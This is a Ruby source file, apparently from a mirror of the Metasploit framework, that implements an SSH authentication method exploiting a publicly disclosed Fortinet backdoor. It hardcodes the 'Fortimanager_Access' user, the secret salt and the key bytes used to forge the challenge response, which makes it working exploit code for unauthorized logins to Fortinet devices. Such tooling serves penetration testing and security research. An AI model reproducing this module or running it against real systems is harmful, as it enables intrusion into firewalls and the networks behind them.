Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

fortinet.rb 2.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
  1. # -*- coding: binary -*-
  2. # https://www.ietf.org/rfc/rfc4256.txt
  3. require 'net/ssh'
  4. module Msf::Exploit::Remote::Fortinet
  5. class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
  6. USERAUTH_INFO_REQUEST = 60
  7. USERAUTH_INFO_RESPONSE = 61
  8. def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
  9. debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
  10. send_message(userauth_request(
  11. =begin
  12. string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
  13. string service name (US-ASCII)
  14. string "keyboard-interactive" (US-ASCII)
  15. string language tag (as defined in [RFC-3066])
  16. string submethods (ISO-10646 UTF-8)
  17. =end
  18. username,
  19. service_name,
  20. 'keyboard-interactive',
  21. '',
  22. ''
  23. ))
  24. loop do
  25. message = session.next_message
  26. case message.type
  27. when USERAUTH_SUCCESS
  28. debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
  29. return true
  30. when USERAUTH_FAILURE
  31. debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
  32. return false
  33. when USERAUTH_INFO_REQUEST
  34. debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
  35. =begin
  36. string name (ISO-10646 UTF-8)
  37. string instruction (ISO-10646 UTF-8)
  38. string language tag (as defined in [RFC-3066])
  39. int num-prompts
  40. string prompt[1] (ISO-10646 UTF-8)
  41. boolean echo[1]
  42. ...
  43. string prompt[num-prompts] (ISO-10646 UTF-8)
  44. boolean echo[num-prompts]
  45. =end
  46. name = message.read_string
  47. instruction = message.read_string
  48. _ = message.read_string
  49. prompts = []
  50. message.read_long.times do
  51. prompt = message.read_string
  52. echo = message.read_bool
  53. prompts << [prompt, echo]
  54. end
  55. debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }
  56. send_message(Net::SSH::Buffer.from(
  57. =begin
  58. byte SSH_MSG_USERAUTH_INFO_RESPONSE
  59. int num-responses
  60. string response[1] (ISO-10646 UTF-8)
  61. ...
  62. string response[num-responses] (ISO-10646 UTF-8)
  63. =end
  64. :byte, USERAUTH_INFO_RESPONSE,
  65. :long, 1,
  66. :string, custom_handler(name, instruction, prompts)
  67. ))
  68. else
  69. raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
  70. end
  71. end
  72. end
  73. # http://seclists.org/fulldisclosure/2016/Jan/26
  74. def custom_handler(title, instructions, prompt_list)
  75. n = prompt_list[0][0]
  76. m = Digest::SHA1.new
  77. m.update("\x00" * 12)
  78. m.update(n + 'FGTAbc11*xy+Qqz27')
  79. m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
  80. h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
  81. [h]
  82. end
  83. end
  84. end